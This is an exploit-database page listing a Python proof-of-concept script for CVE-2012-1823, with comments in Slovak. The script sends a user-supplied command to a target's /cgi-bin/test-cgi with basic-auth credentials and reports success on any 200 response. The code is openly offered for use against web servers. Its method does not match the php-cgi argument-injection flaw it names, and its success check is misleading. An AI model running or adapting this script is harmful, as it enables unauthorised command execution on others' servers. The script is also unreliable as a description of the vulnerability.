Exploit database

GH-e78dc159495f4721b5bcdfea6949eff1

dmitri131313/cve-2012-1823-exploit-for-https-user-password-web

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2012-1823

26 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2012-1823.py

Python · 1,995 bytes
import requests
from requests.auth import HTTPBasicAuth

def exploit_cve_2012_1823(target_url, username, password, command):
    # Definovanie hlavičiek pre požiadavky
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }

    # Ak URL neobsahuje http alebo https, pridáme to
    if not target_url.startswith("http://") and not target_url.startswith("https://"):
        target_url = "http://" + target_url

    # Definovanie exploit URL s využitím neovereného parametra v CGI
    exploit_url = f"{target_url}/cgi-bin/test-cgi?{command}"

    try:
        print(f"Sending exploit to {target_url}...")
        
        # Posielanie požiadavky (nevyžaduje POST, len GET so správnym parametrom)
        response = requests.get(exploit_url, headers=headers, auth=HTTPBasicAuth(username, password), verify=False)

        # Skontroluj status kód a odpoveď
        print(f"Status Code: {response.status_code}")
        print(f"Response Body (Partial): {response.text[:500]}")  # Ukáže prvých 500 znakov odpovede

        # Ak sa vráti kód 200, je možné, že exploit prebehol úspešne
        if response.status_code == 200:
            print("[+] Exploit successful!")
            print("Full Response Body:\n", response.text)  # Zobraziť celú odpoveď (pre dôkladnejšie zistenie)
        else:
            print("[!] Exploit failed! Server returned status code:", response.status_code)
    
    except requests.exceptions.RequestException as e:
        print("[!] An error occurred:", e)

# Hlavný kód
if __name__ == "__main__":
    target_url = input("Enter the target URL (e.g., https://example.com): ")
    username = input("Enter the username: ")
    password = input("Enter the password: ")
    command = input("Enter the command to execute on the target: ")

    # Voláme funkciu exploitáciu
    exploit_cve_2012_1823(target_url, username, password, command)